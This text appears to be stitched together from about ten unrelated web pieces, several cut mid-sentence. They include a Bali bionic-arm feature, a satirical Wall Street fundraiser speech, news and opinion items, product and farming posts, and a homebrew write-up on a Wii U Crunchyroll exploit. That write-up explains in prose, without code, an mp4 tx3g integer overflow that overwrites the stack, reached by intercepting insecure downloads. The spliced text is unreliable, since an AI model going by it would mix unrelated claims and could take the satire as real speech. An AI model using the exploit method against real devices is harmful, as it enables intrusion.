He is referring to the "bionic arm" - a robotic contraption that looks like it has been built out of scrap metal and inspired by cyborg movies.
Mr Sumardana, who is also known as Sutawan, has never been to university but he went to a technical secondary school and says he has been obsessed with electrical engineering ever since he was a child. He works as a welder and also a repairman, fixing household electronics such as fans, televisions and refrigerators.
He says he made the "bionic arm" from scrap metals, a lithium battery, gear wheels, dynamo cables and other electronic components.
His workshop, where he lives with his wife and three sons, is full of junk, scrap metal in every corner, piles of plastic bottles, a worn-out sofa, and chickens running around.
When I arrived it was filled with journalists and curious villagers. Local government officials and policemen were also there, preparing for a visit from the governor of Bali.
But his explanation of the genesis of the robotic arm combined practical technical knowledge with mysticism.
"It's like a lie detector machine," he tells me. "I send a signal from my brain and that message is captured by the machine and it makes my arm move."
"It is simple and anyone could make it and I am not brilliant," he adds.
Image caption Mr Sumardana has become a sensation in Bali for building the arm
Image caption He claims that the machine is controlled by brain signals, but experts have cast doubt on this
It is an account that a mechanical engineering expert from Udayana University in Bali, who met Mr Sumardana and saw the machine, cast doubt upon.
"When I met him the machine was broken. So I asked him how it works," Wayan Widiada explained.
"It's a robot structure but there are some important components missing. He has a mechanical and electrical structure, but it doesn't have any computer coding. How can the machine recognise a command without computer programming?"
'Signal receiver headband'
Mr Sumardana, however, says the mechanical arm has allowed him to work. In front of a crowd he demonstrated how he can fix machines wearing it.
The "bionic hand" appeared to be moving and he certainly appeared able to do his daily work with this contraption. Observing his movements closely, it is clear that while using the arm he was unable to clench his fist - but he could move his elbow and shoulder joints. Without the "robotic sleeve" his arm hangs limply by his side and he has only partial movement in three of his fingers.
There were few doubters in this crowd and he gave anyone curious - including me - a chance to try his "signal receiver headband".
"Try to concentrate, close your eyes and you will see four square lights. Try to turn on all the lights," Mr Sumardana said, as I put the device around my head.
I tried my hardest but I didn't see anything. Others who tried had the same experience.
Mr Sumardana says it is hard to make it move and he can only use it for four hours at a time. After that it makes him feel sick and dizzy.
Image caption The contraption, he says, has enabled him to continue work
The brain-signals narrative is also something experts would certainly cast doubt upon and when his story takes a mystical turn it becomes clear that Mr Sumardana is not simply a man devoted to the pursuit of science and robotics.
He says that he becomes slightly possessed when he puts on the "bionic arm".
"I am not myself," he says.
His wife, Nengah Sudiartini adds to this saying that she believes spirits played a part in her husband's problems.
"I saw this left arm was missing. But after about an hour, my son looked at my husband again and he said the arm was there. And yes, it was there, but before it wasn't. After that, he couldn't move it."
"We went to the doctors, but they couldn't explain what happened," Ms Nengah said.
The Balinese have deep spiritual and mystical beliefs and Mr Sumardana's story has certainly inspired many in the small village, who are seeing it as a tale of a man's determination to use his technical knowledge in the face of a crisis brought on by spirits.
"I don't care if it is a robot or not," said Sang Putu Wardhana, a self-employed man from Denpasar.
"For me he is extraordinary. Not many people who suffer can fight and survive."
Scientists may give his tale short shrift, but to his fellow villagers, the veracity of his claims is simply not the point.Want to know how the search for life in the universe is going? This is the man to ask.
Seth Shostak is Senior Astronomer at the SETI Institute in Mountain View, California, perhaps the world's foremost scientific establishment dedicated to the search for extra-terrestrial intelligence in the universe. While the Institute's main objective is listening to and observing the universe for signs of intelligent life or other civilizations, one of its (and Shostak's) goals is also to educate the general public on how life could come into existence in the cosmos and what that life might be like.
Which brings us |
what’s best for them. Because what’s best for Wall Street is what’s best for the US. What’s best for Goldman Sachs is what’s best for the planet. I promise to take on this challenge against the clamoring, whining, agitating babies demanding for major changes in our economy and the global economy, demanding for equity and justice. These demands are stupid beyond belief.
(Laughter)
As you know, advances in financial technology and global trade have created new areas of commercial activity and opened new markets for our exports. Too often policy wonks want to resort to protectionist measures because they don’t realize that these treaties are designed to suck wealth out of the third world and suck it into your portfolios. These people suffer from a lack of big-picture thinking. They believe that they are still going to be building widgets in a factory if it were not for the 1 billion Chinese stealing their jobs. They don’t understand that we are sucking the lifeblood out of both of the Chinese and all workers—the vampire squid with the blood funnel—creating value, wealth, growth!
(Cackles)
Today’s marketplace focuses on the short-term, instantaneous financial trading, and short-term earnings reports, and that’s just how it should be. Those who are struggling need to rent out their living rooms, garages, bathrooms, dog houses, sell trinkets on EBay, sell themselves, their time and their bodies in the gig economy. All of this creates exciting, dynamic extra wealth, which should go to you, the geniuses of the universe, because you are the ones driving this with your investments, speculations, deregulation, policy capture, and of course outright bribes. There’s no problem that a little more liberalization and deregulation can’t make better!
(Takes out check and cackles)
But all of these trends are temporary, and artificial, and unless we push really hard to make them happen, they won’t continue. The choices we make as a nation matter. The choices we make will set the stage for what American life will be like in this 21st century: will we have a nation of namby-pamby socialistic commies whining and demanding every little privilege while our nation crashes down around our ears, and we are reduced to becoming serfs for the Chinese? Or will we have a powerful country, bristling with guns and weapons, capable of putting everyone in their place? Capable of invading countries on a whim? Of unleashing chaos and violence gratuitously? Of violating a leader’s body orifices with sharp objects with impunity?
(Cackles).
Of manipulating the world economy on a dime, without sweating any labor?
(Applause)
As president, I will work with you to turn the tide of populism, to make these currents of change infeasible, impossible. We don’t hide from change; we subvert, hijack it, appropriate it.
(Applause)
But it will take money. Lots of it. This is a good start.
(Waves check again, smiles, coyly).
The measure of our success must be how much incomes rise for you, the elite, the 0.0001%, not some just arbitrary growth targets tethered to people’s unwarranted and undeserved notions of “equity”, and “justice”.
(Applause)
I want to see our economy work for the top, the leaders, the Gods, the Masters of the Universe like you. We’re not going to find all the answers we need in the playbooks of the past, we can’t go back to the policies of social equity that failed completely…
Today is not 1968. The sixties are so over. And it’s not 1917. The Bolshies are so over. It’s not 1789. No more liberty, equality, fraternity. No more freedom fries. Non Merci! ça suffit! People need to accept the fact that finance capital is a reality, that the interests of the capital markets drives the world, that it can’t be turned back, and that it’s the final solution for all the challenges we face now, including the unending catastrophes that it’s creating, including the burning, fiery apocalyptic end of the planet.
So today, I’m proposing an agenda to give you what you deserve, an agenda for unlimited financial deregulation, growth, wealth accumulation and concentration. It’s the least we can offer you given the undeserved contempt and abuse you’ve suffered over the past years.
More concentration means more jobs and more new businesses catering to you. More jobs give people more opportunities to service you, toady up to you, vampire squid and all.
(Waves check suggestively).
Full employment is completely unnecessary, so 19th Century; the desperation of potential unemployment keeps people working hard to keep their jobs, so their productivity and toadying should be absolutely top notch! No more disrespect!
We know that Finance creates most of the wealth in this country, so that has to be THE top priority.
Let me tell you straight: I want to be the presidency of, by, for Goldman Sachs, and I mean it. I’ll make sure to line my cabinet with your people, like everyone else. Lloyd, name your position!
(Wild Applause)
And throughout the upcoming campaign, I’m going to be sending lots of dog-whistle messages about how to empower you with less red tape, less regulation, less taxes, easier access to free, risk-free money, simplification, easy access to me, all the while talking populist claptrap….
(Takes out dog whistle and blows to utter silence)
(Loud laughter)
Don’t be thrown off by the populist rhetoric. You know that’s just how we play the game. You know I’m your gal…a Goldman Sachs gal….
(Brushes check wistfully over lips)
(Laughter)
Just don’t tell anyone what I said….
(Laughter)
I’ll push for tax incentives to spur speculation, giving you loopholes that you can drive your jumbo private jet or yacht through! Show us how innovative, creative thinking you are!
(Wild applause)
And I know it’s not always how we think about this, but another engine of strong growth should be the TPP and the TTIP, and the TISA.
(Applause)
I want you to hear this. Creating a global neo-liberal enclosure of the entire world economy that pretends to be about “free trade” won’t do much for the total economy—perhaps a tiny percentage point of growth—but I guarantee it will line your pockets like nothing else. Think trillions in your coffers. Quadrillions, once we force all the Asian-Pacific economies to suspend their financial uptightness restricting wild casino gambling! Financial liberalization forced on Asia will result in Quadrillions! Bazillions! And remember, the house—that’s us—we write the rules—never loses!
(Wild Applause)
These are the new policies that will help change the world order. It’s not just about these United states, or even the Asia-Pacific that I’m pushing for in the Pacific Pivot. We need to change the planet, before the planet changes us, gets back at us for abusing it so deeply. It’s the planetary endgame, and we want to have a big blast before our toys are taken away….
When I get started, we get our country moving in the direction that we want. Money that can channel more public and private funds to the top leadership—that’s you and me…
(Applause)
… channel those funds to finance and speculation!
(Applause)
So let’s built those faster trading algorithms and make sure they work faster, bigger, riskier, and trade sums larger than they have ever before!
(Applause)
And really, there’s no excuse not to make wilder, greater investments in speculative trading right now.
(Wild applause)
Our economy obviously runs on finance, and the time is long overdue to make America the ultimate financial superpower. Weapons of financial mass destruction? Bring them on! They are our weapons! Some may worry Finance may destroy millions of jobs, put billions into penury, kill billions of starvation, send the economy into a crazy tailspin, but it will make us—that’s you and me—rich and powerful beyond imagination. Let’s be real here. Isn’t that what matters?
(Cackles)
(Laughter)
Let’s fund the mathematical research that spawns breathtakingly risky trading algorithms and creates entire new areas of fictitious capital, an equation to model every aspect of human greed and fantasy and desire! I can put my support behind that! A mathematical copula that really copulates the unwashed masses!
(Laughter)
(Wild Applause)
I will set ambitious goals in all of these areas in the months ahead.
But today, let me emphasize again, that I will institute the key ingredient of strong growth that often goes overlooked… I will break down all global non-tariff barriers so we can do what we did to our economy all over the world. We are equal opportunity crisis-makers!
(Applause)
Watch what I do, not what I say!
(Lifts dog whistle to lips)
(Loud laughter)
We are in a global competition, as I’m sure you have noticed.
I’m starting to repeat myself, but I’m on a roll.
We can’t afford to leave finance on the benches. That’s exactly what we’re doing today with Glass-Steagall-type regulation. When we leave money on the bench, we not only shortchange its power, and we lose the game, and we shortchange our country and our future.
The movement of hot, speculative money into real estate during the past 20 years was responsible for trillions funneled into your pockets. But that progress is beginning to stall out.
Studies show that nearly this decline is happening because we’re trying to stop real fictitious growth, considering valorizing people over profits. What an absurdity!
We should be making it easier for speculative finance to make money and innovate. To develop bubbles and create trillion dollar valuations out of thin air! And to short them at will! This is how we pump up our economy like a hydrogen bomb! Speculators who want to speculate without limit should be able to do so without worrying that they may find themselves inside a federal resort working on their abs and pecs.
You know, last year –
(Applause)
You know, all this speculation adds up. And for you, it’s trillions every day. Now I am well aware that for far too long these practices have been challenged by socialistic demagogues.
Well, those days are over.
(Applause)
Free speculation, and free money, no taxes, and no restrictions, here or anywhere else in the world: this is essential to our competitiveness and our growth and my ego! And I can do this in a way that doesn’t alarm or outrage the unwashed masses! As president, I’ll fight to put you first, just like I have my entire career. Just remember the dog whistle!
(Lifts to whistle to lips)
(Laughter)
Just watch!
(Applause)
The trader who stands on his feet all day, shrieking his heart out, or the quant who is driving his synapses into overdrive trying to make an unforgiving algorithm match the fluctuations in a chaotically fibrillating market, or the hedge fund manager, who has loses sleep over the global economy, these people do not need regulation! They do not need a lecture! They do not need the planet’s animosity. They need more rewards, for the hard, crucial, essential, brilliant, world-changing work they are doing!
(Applause)
The truth is the current rules for our economy do not reward financial risk-taking enough. r
(Applause)
Alongside gutting taxes, it’s time to stand up to efforts across our country to restrict the power of finance, which has been proven again and again to destroy an economy, and make you sad….Socialist demagogues like Elizabeth Warren and Bernie Sanders have made their names stomping and vilifying you….
(Hissing)
I will fight back against these mean-spirited, misguided attacks. But I will do with subtlety and finesse and subterfuge! Just like when I was a Goldwater girl! Now I’m a Goldman Sach’s girl!
(Rubs check suggestively)
(Laughter)
In the years leading up to the “crash”, financial firms innovated risk away, but regulators in Washington either could not or would understand this. I was alarmed when they took the punchbowl away.
The current President Obama gave you and your colleagues 17 Trillion of free money, and endless zero-rate loans, but he still had to pretend to take you and your colleagues to the woodshed. Dodd-Frank. Sarbanes-Oxley. The return of Glass-Steagall. Other annoying, pesky legislation and regulations. Too many of you are bound and wrapped in red tape: shadow banking, money laundering, hedge funds, high-frequency trading, non- bank financing, interest rate manipulation, all done in the shadows, because of vicious, irrational regulations that marginalize and oppress you.
(Hissing)
Even when you have already pocketed the gains, and gotten away scott-free, there is social approbation, contempt, and this is painful, this is wrong. I feel your pain! On my watch this will all change. Over the course…
(Applause)
… over the course of my campaign, I will offer plans to unleash your endless creativity and risk-taking. I will make sure that you will not pay the price of those risks: I want to encourage you to take them. Just as limited liability allowed early capitalism to grow, back-stopping your risks will be my charge and duty. We’ll make sure that Wall Street and stock markets explode in growth for you! Profits for you! We will assume the Risks! For you, the financial innovators! Captains! Lords! Titans! Gods of finance!
I will appoint you to every regulatory position of power! Too big to fail is too big not to give control over the entire government!
(Applause)
I will ensure that no one will ever be prosecuted. Those who shout for decriminalization of drugs fail to understand that decriminalizing financial crime will bring it out of the shadows into the mainstream economy, boosting it into the stratosphere!
(Applause)
Government has to be smarter, smaller, more focused on supporting speculative investments than the convenient politics of justice, and be a better servant of the private sector. Washington has to be a better steward—servant–of your power! The media has to respect you! Please, let’s get back to making decisions that pay due deference to power and money!
(Applause)
That’s what I’ll do as president. I will seek out and welcome any good idea that is accompanied by a large check!
(Brushes check suggestively against cheek)
(Laughter)
I confess, maybe it’s just the bean counter in me, but I believe that public service is about planting trees for (slave) labor to harvest, and the vision I’ve laid out here today for strong growth for you, your bonuses rising through the stratosphere again, will help finance get ahead and stay ahead forever!
And I’m inviting everyone to please join me to do your part.
(Waves check).
(Laughter).
That’s what great countries do. That’s what our country always has done. We follow the money. It’s not about left, right or center; it’s about the money. We take our orders from money. Yes, we do!
I’m running for president to build an America for you, for Global Finance. An America built on Financialized Capital, an America where if you do your part, you will reap the rewards, the rich rewards you deserve…even if the planet collapses in total chaos….
(Waves check suggestively)
(Laughter)
Where we take care of our own….
(Laughter)
And where we get rid of our enemies….
(Nervous laughter)
Forever…
(More Nervous Laughter)
Thank you all. Thank you. I just want to leave you with one more thought. I want every banker, financier, trader, hedge fund manager to reach their God-given potential to rule the universe. Please join me in that mission — let’s do it together!
(Applause)
Thank you all so much.
(Applause)
And now, unless someone writes another check, I’ll be onto the next gig…The Park Hyatt is closing its doors for a major renovation, and with it goes the famous Roof Lounge that has hosted both celebrities and locals for decades. The lounge threw a closing-night party on Wednesday, hosted by Toronto Star columnist Shinan Govani, a sort of “last hurrah” to the classy, wood-panelled establishment, which has been serving since 1936.
From left, Zaib Shaikh, Toronto's film commissioner, talking to Mayor John Tory, and Kirstine Stewart, CSO of tech company Diply, chatting with the Star's Shinan Govani. ( George Pimentel ) From left, Oxford Properties' Claire McIntyre, Duchess of York Sarah Ferguson, the Star's Shinan Govani, and Toronto PR agency founder Amy Burstyn-Fritz attended a party at the Roof Lounge of the Park Hyatt Hotel on Wednesday, which will be closed for renovations starting Dec. 1. ( Oxford Properties ) Longtime bartender of the Park Hyatt Roof Lounge, Joe Gomes, pouring a drink in October 2016, before his retirement after 57 years there. ( Cole Burston / Toronto Star File Photo )
“Toronto can be a transient city,” Govani said Thursday. “It’s really been a tentpole. It survived World War II, the Diefenbaker years, the swinging ’60s, the disco years. Once I saw Brad and Angelina huddled in a corner at the bar — my joke was that it outlasted Brangelina.” Known as a favourite after-hours watering hole for TIFF celebrities — especially while the film festival was still focused in Yorkville — the 18th-storey bar has seen many famous patrons over the years. Jennifer Aniston, Ben Affleck, Sean Penn, Keira Knightley, Pierce Brosnan, Jessica Alba, Christopher Plummer, Burt Reynolds and Hunter S. Thompson have all made appearances there. Even Hollywood pariah Harvey Weinstein has visited.
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The lounge has long been frequented by members of Canada’s cultural and political elite, who could enjoy some degree of privacy in the dimly lit space. Margaret Atwood, Mordecai Richler, Pierre Elliot Trudeau, Lester B. Pearson and Leonard Cohen, among many others, have all enjoyed a drink there. It’s even been featured in some famous Canadian literary works, such as Atwood’s The Edible Woman, a scene of which is set on that very rooftop. The Yorkville hotel was sold to the Hyatt Chain in 1999 and then to Oxford Properties in 2014. The renovation is expected to start Dec. 1 and last until late 2019. The developers are fully restoring and renovating the hotel, but the building will become mixed use, with luxury rental apartments in the south tower and hotel suites in the north tower, said Tyler Seaman, head of hotels and multi-residential at Oxford Properties. “We’re super excited,” he said. “We know it’s part of the cultural fabric of the city. We want to preserve the heritage but modernize for the next 100 years.”
The construction is being undertaken in partnership with Studio Munge and KPMB Architects. By the time the hotel reopens in two years, it will also have a grand ballroom, a new restaurant, and a new bar in the north tower. As for the Roof Lounge, Seaman said Oxford Properties got a lot of feedback on how to modernize it, but want to preserve its essence, leaving “lots of places to quietly huddle.”
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The firm is going to work on expanding the rooftop’s patio space, along with larger doors and windows, but they stress that they understand its cultural significance. “We understand it’s been a fixture in Toronto for generations,” Seaman said, adding that the fireplace in the bar will also stay. The Wednesday night closing party was thrown by Oxford Properties, intended as the last event the Hyatt would host before being shuttered for two years. It was held at the bar and an adjoining event space. About 200 people attended between 6:30 p.m. and 10 p.m., Govani said, and the theme was black and white, which gave the evening a “Capote-esque” feel. Most of the guests were media members and Toronto socialites, but Sarah Ferguson, the Duchess of York, also made a surprise appearance. Mayor John Tory was there, too, along with jazz singer Molly Johnson, plastic surgeon Dr. Trevor Born, heiress Cleophee Eaton, Munk Debates impresario Rudyard Griffiths, architect Alex Josephson and venture capitalist Scott Paterson. Andy Donato, the Toronto Sun cartoonist whose celebrity caricatures grace the walls there, created live sketches of guests in attendance. “It added a lot of charm to the party,” Govani said. “I understand the hotel needs to be spruced up,” he said, “but when I found out it was being renovated, the first thing I asked was whether the rooftop and bar will maintain the old-world feel.” Even before it closed, the Hyatt lost a bit of its charm in 2016, when legendary bartender Joe Gomes retired after serving up drinks there for 57 years. Gomes started at the hotel — then called the Park Plaza — as a busboy in 1959, when John Diefenbaker was still the prime minister of Canada. He was 17 years old and had stepped off the plane from his native Portugal just nine days prior. Three years later, a few weeks shy of his 21st birthday, Gomes got a position behind the bar, and spent more than 50 years there, working the 5 p.m. to 2:30 a.m. shift, watching as the city grew and changed. “I’ve had a wonderful life, and wonderful guests,” Gomes said in a phone interview Thursday. His fondest memory at the hotel was meeting John Wayne in 1962, he said. Decades later, the bartender made friends with Russell Crowe, who stayed at the hotel while filming in Toronto. Gomes has been credited for kicking off Toronto’s now-vibrant cocktail scene. Today, he has realized his dream of owning a bed and breakfast in his hometown of Madeira, Portugal. But he wants to return to Toronto and visit the place where he worked for nearly six decades. “When I go back I hope it’s as beautiful as ever,” Gomes said. “Let’s hope the hotel, when they reopen, will have the same charisma.” With files from Toronto Star archives.If Americans hope to discuss health care, climate change, green economics or public infrastructure with any degree of realism, then the time has come to acknowledge that hearing someone say “a trillion dollars” is no reason to panic. Politicians and pundits cite that figure to argue that we cannot afford health care reform, following recent cost estimates by the Congressional Budget Office, but the plain truth is that we spend (and squander) more than that on purposes not nearly so wise and humane as universal quality health care.
As a matter of fact, America’s current health care system wastes considerably more than a trillion dollars every year. We know that because countries such as France, Germany, Japan and Finland, with standards of living comparable to ours, spend roughly half what the United States spends annually on health care per citizen, while they cover everyone and achieve better results. So if the total cost of American health care over the coming decade reaches $40 trillion, as economists expect, then we will be “wasting” approximately $20 trillion, or $2 trillion a year.
Compared with figures such as those, the CBO scoring estimate of $1.6 trillion over 10 years to reform the U.S. health care system is so small as to be almost negligible. Constantly hearing numbers that sound so large makes perspective even more important. When Princeton health economist Uwe Reinhardt actually did the simple calculations, he found that the price of reform amounted to only 4 percent of the country’s cumulative health care budget between next year and 2020. He noted that this amount is much less than the annual increase in health care spending over the past 10 years. And he also pointed out that on the broader economic horizon, $1.6 trillion represents only about 1 percent of the $170 trillion in gross domestic product that Americans will produce over the same period.
Investing a trillion dollars or so in modernizing and improving our health care system is a good bargain — especially when contrasted with the maddening way that we have thrown away tax dollars over the past several years. Undoubtedly the worst example of wasteful spending in recent memory is the war in Iraq, that imperial misadventure so beloved by the same conservative thinkers who incessantly bemoan the supposedly unaffordable price of health reform.
Touted early on by its eager promoters as free, cheap or self-financing, the war’s ultimate cost is currently expected to run as high as $3 trillion, according to Joseph Stiglitz, the Nobel laureate economist who wrote a book on the subject last year with his colleague Linda Bilmes. Even as the Obama administration is pulling U.S. troops out of Iraqi cities in preparation for eventual withdrawal, the Iraq war will remain a financial black hole in the federal budget for many years to come as we continue to support the injured veterans and to rebuild the damaged American military.
Yes, a trillion dollars is a significant amount of money, even on a scale as large as the American economy. Had we avoided the stupid waste of $2 trillion or $3 trillion on the war, we could have paid for a long list of social goods that would have improved the lives of the American people, enhanced their productivity and secured their future. To name only a few of many better choices, we could have moved rapidly toward alternative energy sources and reduced our dependence on foreign sources of oil for about $500 billion, achieved universal literacy in the United States for about $5 billion, rebuilt the Gulf Coast damaged by Hurricane Katrina for about $200 billion, ended hunger and all the diseases caused by poverty for another $200 billion — and still have a substantial sum remaining to build new schools, roads, bridges, railways and other badly needed infrastructure.
The senators who now claim that we cannot afford to spend a trillion dollars to make long overdue changes in health care know exactly what that amount can buy. They know because they have spent it, year after year, on military misadventures and subsidies to big banks and corporations, without stinting or whining. Why can we always afford those trillion-dollar boondoggles, but never decent health care for all Americans?
Joe Conason writes for The New York Observer.UNTIL recently, British Columbians consumed as much fuel per head as their fellow Canadians. Nothing remarkable distinguished their use of fossil fuel until, in 2008, they began paying a carbon tax. Six years later the province remains the only jurisdiction in North America to levy a charge on fossil-fuel consumption.
BC’s levy started at C$10 ($9) a tonne in 2008 and rose by C$5 each year until it reached C$30 per tonne in 2012. That works out to 7 cents of the C$1.35 per litre Vancouver residents pay at the pump to fill up their vehicles. Because the tax must, by law in BC, be revenue-neutral, the province has cut income and corporate taxes to offset the revenue it gets from taxing carbon. BC now has the lowest personal income tax rate in Canada and one of the lowest corporate rates in North America, too.
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BC’s fuel consumption is also down. Over the past six years, the per-person consumption of fuels has dropped by 16% (although declines levelled off after the last tax increase in 2012). During that same period, per-person consumption in the rest of Canada rose by 3%. “Each year the evidence becomes stronger and stronger that the carbon tax is driving environmental gains,” says Stewart Elgie, an economics professor at University of Ottawa and head of Sustainable Prosperity, a pro-green think-tank. At the same time, BC’s economy has kept pace with the rest of the country.
Some industries remain unconvinced by the tax. BC cement makers say they’ve lost a third of their market share to US and Asian imports. Farmers facing competition from non-carbon-taxed jurisdictions have wrestled back rebates from the government. But even without the rebates, a study released in July by the Pacific Institute for Climate Solutions (PICS), a research network, found that the agriculture sector didn’t suffer any downturn because of the tax.
Stephen Harper, the prime minister, remains unimpressed. In June, when fellow centre-right prime minister Tony Abbott of Australia arrived for a visit, the two leaders dismissed the carbon tax as an iffy hedge against climate change and a destroyer of jobs. But the BC experiment makes that line harder to sustain. “There’s very little evidence—zero evidence—that carbon taxing is related to jobs,” says Brandon Schaufele at the University of Western Ontario, who co-authored the PICS report.35User Rating: 3 out of 5
Review title of Christopher Full-featured, nicely designed, room for improvement
This is a nice email app (it's identical to Yahoo Mail on the web), but I have so far noticed a couple of annoying problems. First, the app sometimes freezes when I try to attach files to messages. Second, integration with Windows 10 isn't great (notifications don't always post, or post too late, to the Action Center; clicking non-Yahoo account email notifications in the action center fails to show the message; and live tile support is spotty at best). I wish the icon, when pinned to the task bar, would keep a count of new messages received. I opted to pay for the ad-free user experience; the beautiful, unobstructed interface is well worth it. Set-up of 3 different accounts was seamless, and the customizations and features are outstanding--I especially like the calendar, contacts, and chatting functionality.🔊 Listen to Article
By Pamela Bofferding
I recently returned from a month-long trip to Iceland. While there, besides the amazing natural beauty and the wonderfully kind locals, I also noticed something interesting and unique about their livestock. In Iceland, there is only one dairy breed: the Icelandic cow.
These cows are descended from Scandinavian ancestors and they are small and compact in stature with vivid, exotic coats (including brindle, stripes, and a vast array of colors–over 100 possible combinations!). Their small size, coupled with their ability to produce rich, copious milk, got me thinking about miniature dairy breeds and how they could be useful on smaller farms in the United States. Of course, getting a cow from Iceland might be a difficult prospect, but there are there are more than 25 breed categories recognized by the International Miniature Cattle Breeders in the states. Some of the most popular miniature cow breeds are:
Belted Galloway
Dexter
Jersey
Panda Cow
Hereford
Lowline angus
Texas Longhorn
Miniature Highland
Holstein
As well, this book goes over some of the benefits of miniatures of all types and how they can be beneficial to your homestead.
Space: Okay, so it’s abundantly clear that dairy cows are big, but let’s talk about the size difference between a mini and a traditional cow. Minis range in size at three years of age from 36″ in height to a maximum of 48″. This is one-half to one-third the size of normal cattle. A traditional dairy cow can weigh over 1300 pounds and stands close to 5 feet tall. A mini-Jersey breed, on the other hand, weighs about 400-500 pounds and is about 3 feet tall. A smaller cow means a smaller space commitment (for both housing and grazing) overall—suddenly, the idea of having a dairy cow becomes feasible even for people with small homesteads.
Feed Conversion: These petite cows need only half an acre for grazing and a third of a ton of feed per year (as opposed to full-sized counterparts who need more than a ton of feed per year), yet minis still produce 50-75% as much milk as the bigger cows. This makes the feed conversion rate outstanding and efficient for a smaller farm or homestead.
Safer for families: The sheer size of a typical dairy cow means many precautions need to be taken to handle the animals. Younger kids who might otherwise be intimidated by a regular-sized cow can help with the daily care/maintenance of a mini. Children should, of course, always be supervised around livestock, but a cow the size of a large dog is definitely a safer bet for those with families.
Gentle nature: It’s more than only size that makes mini cows so easy to handle and get along with—they are particularly docile and gentle. They do less damage to pastures/fences when they walk, and many owners compare them in nature to golden retrievers.
Initial cost may be the only downside to owning mini cows—they can be $1,000-$2,000 more than a traditional dairy cow; however, when you do the math, the investment into feed + dairy output + accommodations over time likely still make minis worth it for your family. Adding another layer of self-reliance to your homestead is always beneficial, as we never know what the future holds, and for those nervous about making the leap to “farmer,” the mini cow could be a great first step.
Pamela Bofferding is a native Texan who now lives with her husband and sons in New York City. She enjoys hiking, traveling, and playing with her dogs.
This information has been made available by Ready NutritionSo, let’s talk about weebhax. The rather unexpected juggernaut of 5.5.2 dealt a harsh blow from Nintendo, patching out browserhax and leaving many users without an entrypoint. The hunt was on! We’ll pick up the story at the genesis of what I’m working on: the discovery that, inside the Crunchyroll application, several files are downloaded over an insecure connection which we can intercept and replace with our own, arbitrary content.
Woo-hoo, right? This is where I got excited and started posting things on Twitter.
I messed around for a little while and found out that pretty much all of the libraries used to do things like rendering webpages and playing videos haven’t been updated in quite a while. As an example, the WebKit used has been dated around 2011 (yes, that’s 6 years old!) which means it’s missing a lot of security patches. The vulnerability I happened upon and have been working on is the same one used to exploit the Internet Browser on 5.5.1, a buffer overflow in the mp4 decoder. So, I hear you ask, why isn’t there a Crunchyroll exploit already out there? Surely you can reuse the code from 5.5.1?
To explain what’s going on here, we first have to delve a little into how this exploit works in a perfect world before we can get into why Crunchyroll is far from perfect.
The vulnerability is what’s called a buffer overflow. Think of the Wii U’s memory as a long, thin piece of paper - the program writes stuff on it in pencil and can read that data back as it needs it. When it doesn’t need the data anymore, it rubs out the pencil and writes something else. To help manage the paper and decide if data is still needed, management systems are in place to allocate, or set aside, parts of the paper for a specific purpose. If the program wants to write something down, it will first go to the allocator and ask it to reserve a spot for the data. The program can then write away without having to worry about another part of the program erasing it and writing something else. As long as all parts of the program go through the management system, the data is safe.
So, what happens during a buffer overflow? In short, these vulnerabilities occur when the program doesn’t check if the data it wants to write fits in the section of paper it allocated. If you can trick the program into allocating a piece of paper that is too small for the data it’s writing, it will just keep on writing outside of where it’s supposed to. In the right conditions, this could be a Big Problem. Let’s have a look at how this works in an example.
So, here’s our piece of paper. The program has already downloaded our mp4 file and written it onto the paper, and is ready to decode it - though it hasn’t started yet. Our paper looks something like this:
You can see the mp4 file on the left, some unimportant space in the middle, and on the right is what’s called the stack. The vast majority of programs are built using sections of code called subroutines - the idea is that you have a subroutine that performs a specific task (doing some math, allocating memory, drawing the screen) that you jump to as neccesary. One caveat of this programming model is that your program needs to know where to go back to after a subroutine has completed its task. This is solved using a stack - a special section of memory where the program stores addresses that tell a subroutine where to go when it’s finished.
Anyway! Now that the program is ready to start decoding our mp4, the stage is set for our exploit. Our mp4 has a ‘tx3g’ section, which causes the decoder to do two things:
Allocate a section of memory with the same size as the section size listed in the mp4
Copy data from the mp4 file into this new section of memory
So, what’s the problem here? Well, when figuring out how much memory to allocate, the decoder adds the size from the mp4 with another number from the mp4. By carefully controlling these two numbers, we can abuse the fact that computers have an upper limit on the size of their numbers to perform what’s called an integer overflow - to cut a long story short, the decoder ends up with a number that’s smaller than the ones it started with. The decoder will now allocate a buffer that’s too small for the data it intends to write. We got it!
Here’s that in pictures. The program allocates a section of memory in response to the tx3g section in the mp4…
Our integer overflow tricks from before mean that the program starts to write too much data, sailing beyond the end of the allocated section…
Ta-da! The program has unknowingly overwritten the stack with data from our mp4 file. If we craft this data correctly, we can make subroutines in the process of returning jump wherever we’d like instead of where they’re supposed to! From there it’s a case of ROP, JIT and finally code exec (subjects for another day).
This, of course, is an ideal case. It’s more or less |
a mortgage under both of their incomes, which means credit checks are required on both of them.
Ramirez has started slowly rebuilding her credit by using credit cards with $250 limits -- the only ones she can acquire -- and paying them off immediately.
When Ramirez and her mother are together, they don't bring up the identity theft because it leads to an argument, she said. In Mexican-American families, children do not question their parents, she told HuffPost.
Still, her mother felt so guilty about damaging her daughter's financial reputation that she recently paid $800 to a company called Advantage Plus Credit Reporting, which offered to move the bad debt to her mother's credit report. But after Ramirez's mother sent the money, the company did nothing, and when she called to inquire, the phone number was disconnected, Ramirez said.
"They took her money and didn't do anything about it," Ramirez said.
Ramirez's husband, a barber, wants her to report her mother to police so she can fix her credit and they can buy a home. But Ramirez refuses.When I first signed up for this gift exchange, I wasn't sure if anyone would be willing to send a gift all the way to South Korea to help my students. So, when I found out I was paired with tiger-dragon and I was ecstatic! I was so excited to hear that he knew of the Korean Hagwon system and how intense the schooling is for the kids.
SMALL SIDE NOTE FOR UNDERSTANDING: Hagwons are after school academies. I teach English at an English Hagwon, but some of my students go to 6 or 7 different Hagwans (piano, karate, math, science, etc.), on top of school and homework, and are extremely stressed. I absolutely adore my students and I want to provide them with the best education, while alleviating some of the weight from the classroom. I want to make my classroom fun, but it is difficult when it is all put on myself and my pocketbook to make that difference.
